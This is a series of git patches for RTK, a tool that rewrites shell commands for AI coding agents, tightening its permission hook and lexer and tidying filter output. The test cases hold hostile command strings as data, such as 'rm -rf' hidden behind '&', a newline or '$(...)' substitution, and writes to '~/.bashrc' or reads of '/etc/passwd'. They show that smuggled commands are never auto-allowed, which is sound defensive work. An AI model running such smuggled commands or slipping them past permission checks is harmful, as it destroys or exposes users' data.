Gemini/Cursor config --- src/discover/lexer.rs | 20 +++++++++++++++--- src/hooks/permissions.rs | 44 ++++++++++++++++++++++++++++------------ 2 files changed, 48 insertions(+), 16 deletions(-) diff --git a/src/discover/lexer.rs b/src/discover/lexer.rs index 865b74a94a..cf9b2ce26e 100644 --- a/src/discover/lexer.rs +++ b/src/discover/lexer.rs @@ -314,10 +314,15 @@ fn contains_substitution(cmd: &str) -> bool { false } -/// File target unless it's fd-dup (`>&`) or `/dev/null`. +// `>&N`/`>&-` (and `N>&M`) is fd-dup/close; bare `>&` before a word is +// `>word 2>&1` — a file target. fn redirect_has_file_target(tokens: &[ParsedToken], i: usize) -> bool { - if tokens[i].value.contains(">&") { - return false; + let value = &tokens[i].value; + if let Some(pos) = value.find(">&") { + let tail = &value[pos + 2..]; + if !tail.is_empty() && tail.chars().all(|c| c.is_ascii_digit() || c == '-') { + return false; + } } match tokens.get(i + 1) { Some(next) if next.kind == TokenKind::Arg => next.value != "/dev/null", @@ -1189,6 +1194,14 @@ mod tests { assert!(contains_unattestable_construct("cat << EOF")); } + #[test] + fn test_unattestable_ampersand_file_redirect() { + // `>&word` (word not a number) == `>word 2>&1` — a file write. + assert!(contains_unattestable_construct("git status >& /tmp/evil")); + assert!(contains_unattestable_construct("cat x >&~/.bashrc")); + assert!(contains_unattestable_construct("echo hi 2>& /tmp/evil")); + } + #[test] fn test_attestable_fd_dup_and_devnull_redirects() { assert!(!contains_unattestable_construct("git status 2>&1")); @@ -1197,6 +1210,7 @@ mod tests { assert!(!contains_unattestable_construct("cmd 2>/dev/null")); assert!(!contains_unattestable_construct("cmd > /dev/null")); assert!(!contains_unattestable_construct("cmd &> /dev/null")); + assert!(!contains_unattestable_construct("cmd >& /dev/null")); } #[test] diff --git a/src/hooks/permissions.rs b/src/hooks/permissions.rs index 4d068d7f0d..33202807a2 100644 --- a/src/hooks/permissions.rs +++ b/src/hooks/permissions.rs @@ -216,20 +216,17 @@ fn append_wrapped_rules(rules_value: Option<&Value>, prefixes: &[&str], target: } } -// Project config takes priority; global is the fallback when there is no project config. -fn scoped_config(dir: &str, project_file: &str, global_file: &str) -> Option { - if let Some(root) = find_project_root() { - if let Some(v) = read_json(&root.join(dir).join(project_file)) { - return Some(v); - } - } - read_json(&dirs::home_dir()?.join(dir).join(global_file)) +// Global config only. RTK auto-allows only the globally-trusted subset; anything +// else defers to the host, which applies its own project config and folder-trust. +// This keeps RTK's allow set a subset of the host's — never more permissive. +fn global_config(dir: &str, file: &str) -> Option { + read_json(&dirs::home_dir()?.join(dir).join(file)) } fn load_cursor_rules() -> (Vec, Vec, Vec) { let mut deny = Vec::new(); let mut allow = Vec::new(); - if let Some(perms) = scoped_config(CURSOR_DIR, "cli.json", "cli-config.json") + if let Some(perms) = global_config(CURSOR_DIR, "cli-config.json") .as_ref() .and_then(|j| j.get("permissions")) { @@ -239,14 +236,35 @@ fn load_cursor_rules() -> (Vec, Vec, Vec) { (deny, Vec::new(), allow) } +// Gemini honors project `.gemini/settings.json` when the folder is trusted. +// folderTrust is off by default (folder trusted); when on, a folder is trusted +// only via GEMINI_CLI_TRUST_WORKSPACE here (dialog-only trust is treated as +// untrusted → global, which is safe: never more permissive than the host). +fn gemini_settings() -> Option { + let global = global_config(GEMINI_DIR, SETTINGS_JSON); + let trusted = std::env::var("GEMINI_CLI_TRUST_WORKSPACE").as_deref() == Ok("true") + || !global + .as_ref() + .and_then(|j| { + j.pointer("/security/folderTrust/enabled") + .and_then(Value::as_bool) + }) + .unwrap_or(false); + if trusted { + if let Some(root) = find_project_root() { + if let Some(v) = read_json(&root.join(GEMINI_DIR).join(SETTINGS_JSON)) { + return Some(v); + } + } + } + global +} + fn load_gemini_rules() -> (Vec, Vec, Vec) { let mut ask = Vec::new(); let mut allow = Vec::new(); let shells = ["run_shell_command(", "ShellTool("]; - if let Some(tools) = scoped_config(GEMINI_DIR, SETTINGS_JSON, SETTINGS_JSON) - .as_ref() - .and_then(|j| j.get("tools")) - { + if let Some(tools) = gemini_settings().as_ref().and_then(|j| j.get("tools")) { append_wrapped_rules(tools.get("allowed"), &shells, &mut allow); append_wrapped_rules(tools.get("confirmationRequired"), &shells, &mut ask); } From f525ceecf4dbaa522d70b83ca36cac5992684a92 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 3 Jun 2026 13:44:03 +0200 Subject: [PATCH 191/257] fix(openclaw): no execSync to avoid async dangerous cmds --- openclaw/index.ts | 10 ++++++---- openclaw/package.json | 5 +---- 2 files changed, 7 insertions(+), 8 deletions(-) diff --git a/openclaw/index.ts b/openclaw/index.ts index 17ea4ec93c..4babe14d8b 100644 --- a/openclaw/index.ts +++ b/openclaw/index.ts @@ -9,14 +9,14 @@ * Rust registry, not this file. */ -import { execSync } from "node:child_process"; +import { execFileSync } from "node:child_process"; let rtkAvailable: boolean | null = null; function checkRtk(): boolean { if (rtkAvailable !== null) return rtkAvailable; try { - execSync("which rtk", { stdio: "ignore" }); + execFileSync("which", ["rtk"], { stdio: "ignore" }); rtkAvailable = true; } catch { rtkAvailable = false; @@ -26,10 +26,12 @@ function checkRtk(): boolean { function tryRewrite(command: string): string | null { try { - const result = execSync(`rtk rewrite ${JSON.stringify(command)}`, { + const result = execFileSync("rtk", ["rewrite", command], { encoding: "utf-8", timeout: 2000, - }).trim(); + }) + .toString() + .trim(); return result && result !== command ? result : null; } catch { return null; diff --git a/openclaw/package.json b/openclaw/package.json index aa0b099f61..3b9791faf6 100644 --- a/openclaw/package.json +++ b/openclaw/package.json @@ -22,8 +22,5 @@ "index.ts", "openclaw.plugin.json", "README.md" - ], - "peerDependencies": { - "rtk": ">=0.28.0" - } + ] } From 7a985c7b22f36bbddeece6d4f8ba1b0635e995a5 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Fri, 5 Jun 2026 16:03:00 +0200 Subject: [PATCH 192/257] test(hook): Copilot CLI acceptance tests --- src/hooks/hook_cmd.rs | 107 ++++++++++++++++++++++++++++++++++-------- 1 file changed, 88 insertions(+), 19 deletions(-) diff --git a/src/hooks/hook_cmd.rs b/src/hooks/hook_cmd.rs index 7a6b06797b..953080fdfa 100644 --- a/src/hooks/hook_cmd.rs +++ b/src/hooks/hook_cmd.rs @@ -183,9 +183,6 @@ fn handle_copilot_cli(cmd: &str, args: &Value) -> Result<()> { } fn copilot_cli_response(cmd: &str, args: &Value) -> Option { - // Copilot CLI v1.0.54 itself reads `.claude/settings.json` for permission - // rules (see the binary), so routing through `Host::Claude` keeps RTK's - // verdict consistent with what Copilot would have decided on its own. copilot_cli_response_from_decision( args, decide_hook_action(cmd, permissions::Host::Claude), @@ -675,28 +672,24 @@ mod tests { #[test] fn test_copilot_cli_deny_returns_none() { - assert!( - copilot_cli_response_from_decision( - &cli_args("cargo test"), - HookDecision::Deny, - "cargo test", - ) - .is_none() - ); + assert!(copilot_cli_response_from_decision( + &cli_args("cargo test"), + HookDecision::Deny, + "cargo test", + ) + .is_none()); } #[test] fn test_copilot_cli_defer_returns_none() { // Defer covers both "no rewrite available" and the unattestable-construct gate. // The hook must emit NO modifiedArgs for CVE bypass forms — no laundering. - assert!( - copilot_cli_response_from_decision( - &cli_args("git status & rm -rf /tmp/x"), - HookDecision::Defer, - "git status & rm -rf /tmp/x", - ) - .is_none() - ); + assert!(copilot_cli_response_from_decision( + &cli_args("git status & rm -rf /tmp/x"), + HookDecision::Defer, + "git status & rm -rf /tmp/x", + ) + .is_none()); } #[test] @@ -749,6 +742,82 @@ mod tests { assert_eq!(modified["mode"], "sync"); } + fn end_to_end(cmd: &str) -> Option { + let verdict = crate::hooks::permissions::check_command_with_rules( + cmd, + &[], + &[], + &["Bash(git:*)".to_string()], + ); + copilot_cli_response_from_decision(&cli_args(cmd), decide_from_verdict(cmd, verdict), cmd) + } + + #[test] + fn test_copilot_cli_cve_safe_forms_still_rewrite() { + for cmd in ["git status", "git status 2>&1"] { + let r = end_to_end(cmd).unwrap_or_else(|| panic!("expected rewrite for {cmd:?}")); + assert_eq!( + r["modifiedArgs"]["command"].as_str().unwrap(), + format!("rtk {cmd}"), + "safe form {cmd:?} must rewrite", + ); + } + } + + #[test] + fn test_copilot_cli_cve_newline_bypass_never_auto_allows() { + let r = end_to_end("git status\nrm -rf /tmp/x"); + if let Some(resp) = r { + assert!( + resp.get("permissionDecision").is_none(), + "newline-hidden command must not produce permissionDecision: \"allow\"" + ); + } + } + + #[test] + fn test_copilot_cli_cve_background_bypass_never_auto_allows() { + let r = end_to_end("git status & rm -rf /tmp/x"); + if let Some(resp) = r { + assert!( + resp.get("permissionDecision").is_none(), + "background-& hidden command must not produce permissionDecision: \"allow\"" + ); + } + } + + #[test] + fn test_copilot_cli_cve_command_substitution_returns_none() { + assert!( + end_to_end("git log --pretty=$(rm -rf /tmp/x)").is_none(), + "$( ) command substitution must not produce modifiedArgs" + ); + } + + #[test] + fn test_copilot_cli_cve_backtick_substitution_returns_none() { + assert!( + end_to_end("git log --pretty=`rm -rf /tmp/x`").is_none(), + "backtick substitution must not produce modifiedArgs" + ); + } + + #[test] + fn test_copilot_cli_cve_file_redirect_amp_returns_none() { + assert!( + end_to_end("git status >& /tmp/evil").is_none(), + ">&file redirect must not produce modifiedArgs" + ); + } + + #[test] + fn test_copilot_cli_cve_file_redirect_returns_none() { + assert!( + end_to_end("git status > /tmp/evil").is_none(), + ">file redirect must not produce modifiedArgs" + ); + } + // --- Gemini format --- #[test] From 66d66b1fe6293e0f93d9797ae04e72b7ca40eaa0 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Fri, 5 Jun 2026 16:20:08 +0200 Subject: [PATCH 193/257] fix: semgrep markers on test-fixture sensitive paths --- src/discover/lexer.rs | 3 +++ src/hooks/permissions.rs | 1 + 2 files changed, 4 insertions(+) diff --git a/src/discover/lexer.rs b/src/discover/lexer.rs index cf9b2ce26e..b4077224a0 100644 --- a/src/discover/lexer.rs +++ b/src/discover/lexer.rs @@ -1188,8 +1188,10 @@ mod tests { #[test] fn test_unattestable_file_redirects() { assert!(contains_unattestable_construct("git log > /tmp/x")); + // nosemgrep: sensitive-path-reference -- test fixture assert!(contains_unattestable_construct("echo evil >> ~/.bashrc")); assert!(contains_unattestable_construct("cmd &> /tmp/x")); + // nosemgrep: sensitive-path-reference -- test fixture assert!(contains_unattestable_construct("cat < /etc/passwd")); assert!(contains_unattestable_construct("cat << EOF")); } @@ -1198,6 +1200,7 @@ mod tests { fn test_unattestable_ampersand_file_redirect() { // `>&word` (word not a number) == `>word 2>&1` — a file write. assert!(contains_unattestable_construct("git status >& /tmp/evil")); + // nosemgrep: sensitive-path-reference -- test fixture assert!(contains_unattestable_construct("cat x >&~/.bashrc")); assert!(contains_unattestable_construct("echo hi 2>& /tmp/evil")); } diff --git a/src/hooks/permissions.rs b/src/hooks/permissions.rs index 33202807a2..a4f04b78bd 100644 --- a/src/hooks/permissions.rs +++ b/src/hooks/permissions.rs @@ -893,6 +893,7 @@ mod tests { fn test_file_redirect_never_auto_allowed() { let allow = vec!["git *".to_string()]; assert_eq!( + // nosemgrep: sensitive-path-reference -- test fixture check_command_with_rules("git log > ~/.bashrc", &[], &[], &allow), PermissionVerdict::Ask ); From 16d6599b4c941bb182078c51508ddc1f11225d97 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Fri, 5 Jun 2026 17:41:53 +0200 Subject: [PATCH 194/257] refacto(cmds): strip decorator noise from filter output MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Separator lines (═══, ---) and an emoji status marker cost tokens without adding signal for the LLM — RTK output must never add noise over raw. Semantic labels are kept; the emoji is swapped for plain monochrome unicode. --- src/cmds/cloud/wget_cmd.rs | 2 +- src/cmds/dotnet/dotnet_cmd.rs | 34 +++------------------------------- src/cmds/git/git.rs | 6 +++--- src/cmds/go/go_cmd.rs | 3 --- src/cmds/go/golangci_cmd.rs | 1 - src/cmds/js/lint_cmd.rs | 3 --- src/cmds/js/next_cmd.rs | 1 - src/cmds/js/prettier_cmd.rs | 1 - src/cmds/js/prisma_cmd.rs | 1 - src/cmds/js/tsc_cmd.rs | 3 +-- src/cmds/python/mypy_cmd.rs | 1 - src/cmds/python/pip_cmd.rs | 2 -- src/cmds/python/pytest_cmd.rs | 1 - src/cmds/python/ruff_cmd.rs | 2 -- src/cmds/ruby/rspec_cmd.rs | 24 +++++++++++------------- src/cmds/rust/cargo_cmd.rs | 7 ++----- src/cmds/system/format_cmd.rs | 1 - 17 files changed, 21 insertions(+), 72 deletions(-) diff --git a/src/cmds/cloud/wget_cmd.rs b/src/cmds/cloud/wget_cmd.rs index 4faed80813..09e52f24be 100644 --- a/src/cmds/cloud/wget_cmd.rs +++ b/src/cmds/cloud/wget_cmd.rs @@ -78,7 +78,7 @@ pub fn run_stdout(url: &str, args: &[String], verbose: u8) -> Result { total, format_size(result.stdout.len() as u64) )); - rtk_output.push_str("--- first 10 lines ---\n"); + rtk_output.push_str("first 10 lines:\n"); for line in lines.iter().take(10) { rtk_output.push_str(&format!("{}\n", truncate_line(line, 100))); } diff --git a/src/cmds/dotnet/dotnet_cmd.rs b/src/cmds/dotnet/dotnet_cmd.rs index d16f8bc6ff..f90db8b024 100644 --- a/src/cmds/dotnet/dotnet_cmd.rs +++ b/src/cmds/dotnet/dotnet_cmd.rs @@ -368,7 +368,6 @@ fn format_dotnet_format_output( } let mut output = format!("Format: {} files need formatting", changed_count); - output.push_str("\n---------------------------------------"); const MAX_FORMAT_FILES: usize = CAP_LIST; for (index, file) in summary @@ -1056,12 +1055,6 @@ fn format_build_output(summary: &binlog::BuildSummary, _binlog_path: &Path) -> S } } - let sep = if !warnings.is_empty() || !errors.is_empty() { - "---------------------------------------" - } else { - "" - }; - let verdict = format!( "{} dotnet build: {} projects, {} errors, {} warnings ({})", status_icon, @@ -1076,7 +1069,7 @@ fn format_build_output(summary: &binlog::BuildSummary, _binlog_path: &Path) -> S // definitive verdict. Mirrors native `dotnet build`, which ends with // `Build succeeded.` / `Build FAILED.`. See issue #1574. // Warnings before errors: errors survive `| tail -N` immediately above the verdict. - [warnings, errors, sep.into(), verdict] + [warnings, errors, verdict] .into_iter() .filter(|s| !s.is_empty()) .collect::>() @@ -1218,24 +1211,9 @@ fn format_test_output( } } - let sep = if !failed_tests_section.is_empty() - || !warnings_section.is_empty() - || !errors_section.is_empty() - { - "---------------------------------------" - } else { - "" - }; - // Status line emitted last; see format_build_output (issue #1574). // Warnings before errors: errors survive `| tail -N` immediately above the verdict. - [ - failed_tests_section, - warnings_section, - errors_section, - sep.into(), - header, - ] + [failed_tests_section, warnings_section, errors_section, header] .into_iter() .filter(|s| !s.is_empty()) .collect::>() @@ -1311,12 +1289,6 @@ fn format_restore_output( } } - let sep = if !warnings_section.is_empty() || !errors_section.is_empty() { - "---------------------------------------" - } else { - "" - }; - let verdict = format!( "{} dotnet restore: {} projects, {} errors, {} warnings ({})", status_icon, summary.restored_projects, summary.errors, summary.warnings, duration @@ -1324,7 +1296,7 @@ fn format_restore_output( // Status line emitted last; see format_build_output (issue #1574). // Warnings before errors: errors survive `| tail -N` immediately above the verdict. - [warnings_section, errors_section, sep.into(), verdict] + [warnings_section, errors_section, verdict] .into_iter() .filter(|s| !s.is_empty()) .collect::>() diff --git a/src/cmds/git/git.rs b/src/cmds/git/git.rs index a77b0ba767..3f2beea756 100644 --- a/src/cmds/git/git.rs +++ b/src/cmds/git/git.rs @@ -251,10 +251,10 @@ fn run_diff( let mut final_output = result.stdout.clone(); if !diff_result.stdout.is_empty() { - println!("\n--- Changes ---"); + println!("\nChanges:"); let compacted = compact_diff(&diff_result.stdout, max_lines.unwrap_or(500)); println!("{}", compacted); - final_output.push_str("\n--- Changes ---\n"); + final_output.push_str("\nChanges:\n"); final_output.push_str(&compacted); } @@ -363,7 +363,7 @@ fn run_show( let mut final_output = summary_result.stdout.clone(); if !diff_text.is_empty() { if verbose > 0 { - println!("\n--- Changes ---"); + println!("\nChanges:"); } let compacted = compact_diff(diff_text, max_lines.unwrap_or(500)); println!("{}", compacted); diff --git a/src/cmds/go/go_cmd.rs b/src/cmds/go/go_cmd.rs index e962e3e1ca..3adfd64349 100644 --- a/src/cmds/go/go_cmd.rs +++ b/src/cmds/go/go_cmd.rs @@ -431,7 +431,6 @@ pub(crate) fn filter_go_test_json(output: &str) -> String { result.push_str(&format!(", {} skipped", total_skip)); } result.push_str(&format!(" in {} packages\n", total_packages)); - result.push_str("═══════════════════════════════════════\n"); // Show package-level failures first (timeouts, signals, panics). // Skip packages that already have individual test-level failures — those are displayed @@ -586,7 +585,6 @@ pub(crate) fn filter_go_build(output: &str) -> String { let mut result = String::new(); result.push_str(&format!("Go build: {} errors\n", errors.len())); - result.push_str("═══════════════════════════════════════\n"); const MAX_GO_BUILD_ERRORS: usize = CAP_ERRORS; for (i, error) in errors.iter().take(MAX_GO_BUILD_ERRORS).enumerate() { @@ -678,7 +676,6 @@ fn filter_go_vet(output: &str) -> String { let mut result = String::new(); result.push_str(&format!("Go vet: {} issues\n", issues.len())); - result.push_str("═══════════════════════════════════════\n"); const MAX_GO_VET_ISSUES: usize = CAP_ERRORS; for (i, issue) in issues.iter().take(MAX_GO_VET_ISSUES).enumerate() { diff --git a/src/cmds/go/golangci_cmd.rs b/src/cmds/go/golangci_cmd.rs index 8c9ef84272..865b9b8b0d 100644 --- a/src/cmds/go/golangci_cmd.rs +++ b/src/cmds/go/golangci_cmd.rs @@ -310,7 +310,6 @@ pub(crate) fn filter_golangci_json(output: &str, version: u32) -> String { "golangci-lint: {} issues in {} files\n", total_issues, total_files )); - result.push_str("═══════════════════════════════════════\n"); // Show top linters let mut linter_counts: Vec<_> = by_linter.iter().collect(); diff --git a/src/cmds/js/lint_cmd.rs b/src/cmds/js/lint_cmd.rs index 13fa954640..afc3e79626 100644 --- a/src/cmds/js/lint_cmd.rs +++ b/src/cmds/js/lint_cmd.rs @@ -268,7 +268,6 @@ fn filter_eslint_json(output: &str) -> String { "ESLint: {} errors, {} warnings in {} files\n", total_errors, total_warnings, total_files )); - result.push_str("═══════════════════════════════════════\n"); // Show top rules let mut rule_counts: Vec<_> = by_rule.iter().collect(); @@ -394,7 +393,6 @@ fn filter_pylint_json(output: &str) -> String { result.push('\n'); } - result.push_str("═══════════════════════════════════════\n"); // Show top symbols (rules) let mut symbol_counts: Vec<_> = by_symbol.iter().collect(); @@ -471,7 +469,6 @@ fn filter_generic_lint(output: &str) -> String { let mut result = String::new(); result.push_str(&format!("Lint: {} errors, {} warnings\n", errors, warnings)); - result.push_str("═══════════════════════════════════════\n"); const MAX_ISSUES: usize = CAP_ERRORS; for issue in issues.iter().take(MAX_ISSUES) { diff --git a/src/cmds/js/next_cmd.rs b/src/cmds/js/next_cmd.rs index 1f15a2af0d..fd359f0a07 100644 --- a/src/cmds/js/next_cmd.rs +++ b/src/cmds/js/next_cmd.rs @@ -115,7 +115,6 @@ fn filter_next_build(output: &str) -> String { // Build filtered output let mut result = String::new(); result.push_str("Next.js Build\n"); - result.push_str("═══════════════════════════════════════\n"); if already_built && routes_total == 0 { result.push_str("Already built (using cache)\n\n"); diff --git a/src/cmds/js/prettier_cmd.rs b/src/cmds/js/prettier_cmd.rs index 685b2f51de..54ef74064d 100644 --- a/src/cmds/js/prettier_cmd.rs +++ b/src/cmds/js/prettier_cmd.rs @@ -94,7 +94,6 @@ pub fn filter_prettier_output(output: &str) -> String { "Prettier: {} files need formatting\n", files_to_format.len() )); - result.push_str("═══════════════════════════════════════\n"); const MAX_PRETTIER_FILES: usize = CAP_WARNINGS; for (i, file) in files_to_format.iter().take(MAX_PRETTIER_FILES).enumerate() { diff --git a/src/cmds/js/prisma_cmd.rs b/src/cmds/js/prisma_cmd.rs index 3972369070..2f72313827 100644 --- a/src/cmds/js/prisma_cmd.rs +++ b/src/cmds/js/prisma_cmd.rs @@ -277,7 +277,6 @@ fn filter_migrate_dev(output: &str) -> String { if !migration_name.is_empty() { result.push_str(&format!("Migration: {}\n", migration_name)); - result.push_str("═══════════════════════════════════════\n"); } result.push_str("Changes:\n"); diff --git a/src/cmds/js/tsc_cmd.rs b/src/cmds/js/tsc_cmd.rs index 0b75fc9f68..96a494cd86 100644 --- a/src/cmds/js/tsc_cmd.rs +++ b/src/cmds/js/tsc_cmd.rs @@ -84,7 +84,7 @@ impl BlockHandler for TscHandler { } let mut result = format!( - "═══════════════════════════════════════\nTypeScript: {} errors in {} files\n", + "TypeScript: {} errors in {} files\n", self.error_count, self.files.len() ); @@ -174,7 +174,6 @@ pub(crate) fn filter_tsc_output(output: &str) -> String { errors.len(), by_file.len() )); - result.push_str("═══════════════════════════════════════\n"); // Top error codes summary (compact, one line) let mut code_counts: Vec<_> = by_code.iter().collect(); diff --git a/src/cmds/python/mypy_cmd.rs b/src/cmds/python/mypy_cmd.rs index 69bc7173af..7c26cc9d4c 100644 --- a/src/cmds/python/mypy_cmd.rs +++ b/src/cmds/python/mypy_cmd.rs @@ -164,7 +164,6 @@ pub fn filter_mypy_output(output: &str) -> String { errors.len(), by_file.len() )); - result.push_str("═══════════════════════════════════════\n"); // Top error codes summary (only when 2+ distinct codes) let mut code_counts: Vec<_> = by_code.iter().collect(); diff --git a/src/cmds/python/pip_cmd.rs b/src/cmds/python/pip_cmd.rs index 037dd58a4b..9a4d002713 100644 --- a/src/cmds/python/pip_cmd.rs +++ b/src/cmds/python/pip_cmd.rs @@ -153,7 +153,6 @@ fn filter_pip_list(output: &str) -> String { let mut result = String::new(); result.push_str(&format!("pip list: {} packages\n", packages.len())); - result.push_str("═══════════════════════════════════════\n"); // Group by first letter for easier scanning let mut by_letter: std::collections::HashMap> = @@ -203,7 +202,6 @@ fn filter_pip_outdated(output: &str) -> String { let mut result = String::new(); result.push_str(&format!("pip outdated: {} packages\n", packages.len())); - result.push_str("═══════════════════════════════════════\n"); const MAX_PIP_PACKAGES: usize = CAP_LIST; for (i, pkg) in packages.iter().take(MAX_PIP_PACKAGES).enumerate() { diff --git a/src/cmds/python/pytest_cmd.rs b/src/cmds/python/pytest_cmd.rs index 2febb2ea16..87eca2ec9b 100644 --- a/src/cmds/python/pytest_cmd.rs +++ b/src/cmds/python/pytest_cmd.rs @@ -202,7 +202,6 @@ fn build_pytest_summary( result.push_str(&format!(", {} xpassed", xpassed)); } result.push('\n'); - result.push_str("═══════════════════════════════════════\n"); // Surface xfail/xpass entries (with their reasons) — XPASS in particular // signals that something expected-to-fail now passes. diff --git a/src/cmds/python/ruff_cmd.rs b/src/cmds/python/ruff_cmd.rs index 3f240df13a..f8a5120356 100644 --- a/src/cmds/python/ruff_cmd.rs +++ b/src/cmds/python/ruff_cmd.rs @@ -144,7 +144,6 @@ pub fn filter_ruff_check_json(output: &str) -> String { result.push_str(&format!(" ({} fixable)", fixable_count)); } result.push('\n'); - result.push_str("═══════════════════════════════════════\n"); // Show top rules let mut rule_counts: Vec<_> = by_rule.iter().collect(); @@ -288,7 +287,6 @@ pub fn filter_ruff_format(output: &str) -> String { "Ruff format: {} files need formatting\n", files_to_format.len() )); - result.push_str("═══════════════════════════════════════\n"); const MAX_RUFF_FORMAT_FILES: usize = CAP_WARNINGS; for (i, file) in files_to_format diff --git a/src/cmds/ruby/rspec_cmd.rs b/src/cmds/ruby/rspec_cmd.rs index 80fbe1c106..bf907c37f5 100644 --- a/src/cmds/ruby/rspec_cmd.rs +++ b/src/cmds/ruby/rspec_cmd.rs @@ -214,7 +214,6 @@ fn build_rspec_summary(rspec: &RspecOutput) -> String { result.push_str(&format!(", {} pending", s.pending_count)); } result.push_str(&format!(" ({:.2}s)\n", s.duration)); - result.push_str("═══════════════════════════════════════\n"); let failures: Vec<&RspecExample> = rspec .examples @@ -230,7 +229,7 @@ fn build_rspec_summary(rspec: &RspecOutput) -> String { for (i, example) in failures.iter().take(MAX_RSPEC_FAILURES).enumerate() { result.push_str(&format!( - "{}. ❌ {}\n {}:{}\n", + "{}. ✗ {}\n {}:{}\n", i + 1, example.full_description, example.file_path, @@ -353,9 +352,8 @@ fn filter_rspec_text(output: &str) -> String { return format!("RSpec: {}", summary_line); } let mut result = format!("RSpec: {}\n", summary_line); - result.push_str("═══════════════════════════════════════\n\n"); for (i, failure) in failures.iter().take(MAX_RSPEC_FAILURES).enumerate() { - result.push_str(&format!("{}. ❌ {}\n", i + 1, failure)); + result.push_str(&format!("{}. ✗ {}\n", i + 1, failure)); if i < failures.len().min(MAX_RSPEC_FAILURES) - 1 { result.push('\n'); } @@ -596,7 +594,7 @@ mod tests { fn test_filter_rspec_with_failures() { let result = filter_rspec_output(with_failures_json()); assert!(result.contains("1 passed, 1 failed")); - assert!(result.contains("❌ User saves to database")); + assert!(result.contains("✗ User saves to database")); assert!(result.contains("user_spec.rb:10")); assert!(result.contains("ExpectationNotMetError")); assert!(result.contains("expected true but got false")); @@ -672,7 +670,7 @@ Failures: let result = filter_rspec_output(text); assert!(result.contains("RSpec:")); assert!(result.contains("4 examples, 1 failure")); - assert!(result.contains("❌"), "should show failure marker"); + assert!(result.contains("✗"), "should show failure marker"); } #[test] @@ -698,7 +696,7 @@ Failures: "#; let result = filter_rspec_text(text); assert!(result.contains("2 failures")); - assert!(result.contains("❌")); + assert!(result.contains("✗")); // Should show spec file path, not gem backtrace assert!(result.contains("spec/models/user_spec.rb:15")); } @@ -741,9 +739,9 @@ Failures: "summary_line": "6 examples, 6 failures" }"#; let result = filter_rspec_output(json); - assert!(result.contains("1. ❌"), "should show first failure"); - assert!(result.contains("5. ❌"), "should show fifth failure"); - assert!(!result.contains("6. ❌"), "should not show sixth inline"); + assert!(result.contains("1. ✗"), "should show first failure"); + assert!(result.contains("5. ✗"), "should show fifth failure"); + assert!(!result.contains("6. ✗"), "should not show sixth inline"); assert!( result.contains("+1 more"), "should show overflow count: {}", @@ -946,9 +944,9 @@ Failures: 14 examples, 7 failures "#; let result = filter_rspec_text(text); - assert!(result.contains("1. ❌"), "should show first failure"); - assert!(result.contains("5. ❌"), "should show fifth failure"); - assert!(!result.contains("6. ❌"), "should not show sixth inline"); + assert!(result.contains("1. ✗"), "should show first failure"); + assert!(result.contains("5. ✗"), "should show fifth failure"); + assert!(!result.contains("6. ✗"), "should not show sixth inline"); assert!( result.contains("+2 more"), "should show overflow count: {}", diff --git a/src/cmds/rust/cargo_cmd.rs b/src/cmds/rust/cargo_cmd.rs index 5b8152ce0f..db3aa0a3c4 100644 --- a/src/cmds/rust/cargo_cmd.rs +++ b/src/cmds/rust/cargo_cmd.rs @@ -140,7 +140,7 @@ impl BlockHandler for CargoBuildHandler { Some(format!("{}\n", s)) } else { Some(format!( - "═══════════════════════════════════════\ncargo build: {} errors, {} warnings ({} crates)\n", + "cargo build: {} errors, {} warnings ({} crates)\n", self.error_count, self.warnings, self.compiled )) } @@ -526,7 +526,6 @@ fn filter_cargo_install(output: &str) -> String { deps_info )); } - result.push_str("═══════════════════════════════════════\n"); const MAX_INSTALL_ERRORS: usize = CAP_ERRORS; for (i, err) in errors.iter().enumerate().take(MAX_INSTALL_ERRORS) { @@ -834,7 +833,7 @@ fn filter_cargo_build(output: &str) -> String { } let mut result = format!( - "cargo build: {} errors, {} warnings ({} crates)\n═══════════════════════════════════════\n", + "cargo build: {} errors, {} warnings ({} crates)\n", handler.error_count, handler.warnings, handler.compiled ); const MAX_CHECK_BLOCKS: usize = CAP_ERRORS; @@ -1049,7 +1048,6 @@ pub(crate) fn filter_cargo_test(output: &str) -> String { if !failures.is_empty() { result.push_str(&format!("FAILURES ({}):\n", failures.len())); - result.push_str("═══════════════════════════════════════\n"); const MAX_FAILURES: usize = CAP_WARNINGS; for (i, failure) in failures.iter().enumerate().take(MAX_FAILURES) { result.push_str(&format!("{}. {}\n", i + 1, truncate(failure, 200))); @@ -1206,7 +1204,6 @@ fn filter_cargo_clippy(output: &str) -> String { "cargo clippy: {} errors, {} warnings\n", error_count, warning_count )); - result.push_str("═══════════════════════════════════════\n"); // Show full error blocks so developers can see what needs fixing if !error_blocks.is_empty() { diff --git a/src/cmds/system/format_cmd.rs b/src/cmds/system/format_cmd.rs index c71dd10723..431b25c78d 100644 --- a/src/cmds/system/format_cmd.rs +++ b/src/cmds/system/format_cmd.rs @@ -235,7 +235,6 @@ fn filter_black_output(output: &str) -> String { "Format (black): {} files need formatting\n", count )); - result.push_str("═══════════════════════════════════════\n"); if !files_to_format.is_empty() { const MAX_FORMAT_FILES: usize = CAP_WARNINGS; From 6d89cb8baacdb2c4f5b74091901ae7f9a9190e09 Mon Sep 17 00:00:00 2001 From: "rtk-release-bot[bot]" <280461666+rtk-release-bot[bot]@users.noreply.github.com> Date: Fri, 5 Jun 2026 16:14:46 +0000 Subject: [PATCH 195/257] chore(master): release 0.42.3 --- .release-please-manifest.json | 2 +- CHANGELOG.md | 14 ++++++++++++++ Cargo.lock | 2 +- Cargo.toml | 2 +- 4 files changed, 17 insertions(+), 3 deletions(-) diff --git a/.release-please-manifest.json b/.release-please-manifest.json index a623f136f8..0eb1fecef8 100644 --- a/.release-please-manifest.json +++ b/.release-please-manifest.json @@ -1,3 +1,3 @@ { - ".": "0.42.2" + ".": "0.42.3" } diff --git a/CHANGELOG.md b/CHANGELOG.md index 816bfa9a57..f8242b8677 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,20 @@ All notable changes to rtk (Rust Token Killer) will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [0.42.3](https://github.com/rtk-ai/rtk/compare/v0.42.2...v0.42.3) (2026-06-05) + + +### Bug Fixes + +* 